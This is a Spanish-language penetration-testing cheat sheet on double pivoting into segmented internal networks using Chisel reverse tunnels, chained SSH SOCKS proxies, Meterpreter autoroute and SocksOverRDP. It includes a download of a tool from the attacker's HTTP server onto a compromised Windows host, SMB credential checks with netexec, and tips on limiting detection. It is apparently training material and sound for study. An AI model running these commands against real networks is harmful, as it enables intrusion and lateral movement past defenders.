doble-pivot-y-socksoverrdp
Doble Pivot y SocksOverRDP
Section titled “Doble Pivot y SocksOverRDP”Doble Pivot y SocksOverRDP
Section titled “Doble Pivot y SocksOverRDP”Concepto de doble pivot
Section titled “Concepto de doble pivot”Un doble pivot ocurre cuando la red interna objetivo no es directamente accesible desde el primer pivot host — hay un segundo segmento de red que solo es alcanzable desde el primer pivot. Se necesita encadenar dos túneles.
Atacante → Pivot1 → Pivot2 → red objetivo10.10.14.18 172.16.5.129 172.16.6.x 172.16.7.xEl atacante no puede ver 172.16.7.x directamente, ni siquiera a través del primer pivot. Solo Pivot2 tiene acceso a ese segmento.
Doble pivot con Chisel
Section titled “Doble pivot con Chisel”Arquitectura
Section titled “Arquitectura”Atacante (server) ← Pivot1 (client+server) ← Pivot2 (client) :8080 :8081 / :1080 R:socksPaso 1 — Servidor Chisel en el atacante
Section titled “Paso 1 — Servidor Chisel en el atacante”# Atacante./chisel server --reverse --port 8080Paso 2 — Pivot1: cliente hacia el atacante + servidor para Pivot2
Section titled “Paso 2 — Pivot1: cliente hacia el atacante + servidor para Pivot2”# Pivot1 — conectar al atacante y exponer SOCKS en atacante:1080./chisel client 10.10.14.18:8080 R:socks &
# Pivot1 — levantar servidor Chisel para que Pivot2 se conecte./chisel server --reverse --port 8081 &Paso 3 — Pivot2: cliente hacia Pivot1
Section titled “Paso 3 — Pivot2: cliente hacia Pivot1”# Pivot2 — conectar a Pivot1 y crear segundo SOCKS en atacante:1081./chisel client 172.16.5.129:8081 R:1081:socksPaso 4 — Proxychains encadenadas en el atacante
Section titled “Paso 4 — Proxychains encadenadas en el atacante”# /etc/proxychains.conf — encadenar los dos SOCKS[ProxyList]socks5 127.0.0.1 1080 # primer salto → llega a 172.16.5.0/24socks5 127.0.0.1 1081 # segundo salto → llega a 172.16.7.0/24# Ahora se puede alcanzar la red del segundo segmentoproxychains nmap -v -Pn -sT -p 445,80,3389 172.16.7.10proxychains netexec smb 172.16.7.0/24 -u usuario -p contraseñaDoble pivot con SSH
Section titled “Doble pivot con SSH”Si ambos pivots tienen SSH accesible:
# Primer túnel — SOCKS en 9050 via Pivot1ssh -D 9050 -N -f usuario@172.16.5.129
# Segundo túnel — desde Pivot1 a Pivot2, SOCKS en 9051# Usar proxychains para que el segundo SSH pase por el primeroproxychains ssh -D 9051 -N -f usuario@172.16.6.50
# proxychains.conf con ambossocks5 127.0.0.1 9050socks5 127.0.0.1 9051Doble pivot con Meterpreter + AutoRoute
Section titled “Doble pivot con Meterpreter + AutoRoute”# Sesión 1 — Pivot1 comprometidometerpreter> run autoroute -s 172.16.5.0/24meterpreter> run autoroute -s 172.16.6.0/24
# Comprometer Pivot2 desde Metasploit via el primer pivot# El tráfico sale por la sesión 1 automáticamente
# Sesión 2 — Pivot2 comprometidometerpreter> run autoroute -s 172.16.7.0/24
# SOCKS proxy que cubre toda la cadenamsf6> use auxiliary/server/socks_proxymsf6> set SRVPORT 9050msf6> run
proxychains nmap -Pn -sT 172.16.7.10SocksOverRDP
Section titled “SocksOverRDP”SocksOverRDP es una herramienta que crea un proxy SOCKS5 tunnelizado dentro de una sesión RDP usando el canal de datos virtual dinámico de RDP. Permite enrutar tráfico a través de una conexión RDP existente sin abrir puertos adicionales.
Caso de uso típico: se tiene acceso RDP a un host Windows en la red interna, pero no hay SSH ni Chisel disponible. SocksOverRDP permite usar esa sesión RDP como túnel SOCKS.
Componentes
Section titled “Componentes”| Componente | Dónde corre | Función |
|---|---|---|
SocksOverRDP-Plugin.dll |
Host atacante | Plugin para xfreerdp/mstsc que crea el canal virtual |
SocksOverRDP-Server.exe |
Host Windows (destino RDP) | Recibe el tráfico del canal virtual y actúa como proxy SOCKS |
Instalación y preparación
Section titled “Instalación y preparación”# Descargar releases desde GitHub# https://github.com/nccgroup/SocksOverRDP/releases
# En el atacante — el plugin se carga con xfreerdp# En el Windows objetivo — transferir SocksOverRDP-Server.exePaso 1 — Transferir el servidor al Windows objetivo
Section titled “Paso 1 — Transferir el servidor al Windows objetivo”# Desde el atacante via RDP clipboard o servidor HTTPpython3 -m http.server 8888
# En el Windows objetivo (PowerShell)Invoke-WebRequest -Uri "http://10.10.14.18:8888/SocksOverRDP-Server.exe" ` -OutFile "C:\Windows\Temp\SocksOverRDP-Server.exe"Paso 2 — Registrar el plugin en el atacante
Section titled “Paso 2 — Registrar el plugin en el atacante”# Linux — el plugin se carga directamente con xfreerdp# No requiere registro previoEn Windows (si se usa mstsc en lugar de xfreerdp):
# Registrar el plugin DLL (requiere admin)regsvr32 SocksOverRDP-Plugin.dllPaso 3 — Ejecutar el servidor en el Windows objetivo
Section titled “Paso 3 — Ejecutar el servidor en el Windows objetivo”# En el Windows objetivo — ejecutar antes de conectar via RDPC:\Windows\Temp\SocksOverRDP-Server.exeEl servidor escucha en 127.0.0.1:1080 dentro del Windows objetivo esperando conexiones del plugin.
Paso 4 — Conectar via RDP con el plugin activado
Section titled “Paso 4 — Conectar via RDP con el plugin activado”# xfreerdp con el plugin de SocksOverRDPxfreerdp /v:172.16.5.19 /u:usuario /p:contraseña \ /dynamic-resolution \ /drive:tmp,/tmp \ +clipboard \ /plugin:SocksOverRDP-Plugin.dllUna vez conectado, el plugin crea el canal virtual y el tráfico SOCKS se tunneliza por la sesión RDP.
Paso 5 — SOCKS proxy disponible en el atacante
Section titled “Paso 5 — SOCKS proxy disponible en el atacante”El proxy SOCKS5 queda disponible en 127.0.0.1:1080 del atacante:
socks5 127.0.0.1 1080
# Usar normalmenteproxychains nmap -Pn -sT -p 445,80,3389 172.16.6.0/24proxychains netexec smb 172.16.6.0/24 -u usuario -p contraseñaproxychains curl http://172.16.6.10/SocksOverRDP como segundo salto (doble pivot)
Section titled “SocksOverRDP como segundo salto (doble pivot)”Si el Windows objetivo con RDP tiene acceso a un tercer segmento, SocksOverRDP proporciona ese segundo salto:
Atacante → xfreerdp → Windows RDP (172.16.5.19) → 172.16.6.0/24 SocksOverRDP-Server.exe SOCKS en atacante:1080# proxychains.conf — SOCKS de SocksOverRDP como segundo salto# (si el primer salto ya está configurado con Chisel/SSH)[ProxyList]socks5 127.0.0.1 9050 # primer pivot via Chisel/SSHsocks5 127.0.0.1 1080 # segundo pivot via SocksOverRDPVerificación de túneles encadenados
Section titled “Verificación de túneles encadenados”# Ver todos los proxies SOCKS activosss -tlnp | grep -E "1080|1081|9050|9051"
# Probar cada salto individualmente# Primer saltoproxychains -q curl http://172.16.5.1
# Con ambos saltosproxychains curl http://172.16.7.1Consideraciones operativas
Section titled “Consideraciones operativas”Latencia: cada salto añade latencia. Con doble pivot, Nmap puede necesitar timeouts mayores:
proxychains nmap -Pn -sT --host-timeout 30s --scan-delay 500ms 172.16.7.0/24Estabilidad: los túneles encadenados son menos estables. Usar --keepalive en Chisel y --max-retry-count para reconexión automática.
Detección: cada salto extra aumenta la superficie de detección. Minimizar el tráfico de descubrimiento y priorizar targets conocidos antes de hacer escaneos amplios.
Resumen de técnicas por escenario
Section titled “Resumen de técnicas por escenario”| Escenario | Técnica recomendada |
|---|---|
| Pivot1 tiene SSH | SSH -D encadenado |
| Pivot1 tiene shell, sin SSH | Chisel server+client |
| Solo acceso RDP al objetivo | SocksOverRDP |
| Sesión Meterpreter activa | AutoRoute + socks_proxy |
| Entorno corporativo con proxy NTLM | Rpivot con --ntlm-proxy |
| Necesidad de HTTPS para evasión | Chisel con TLS |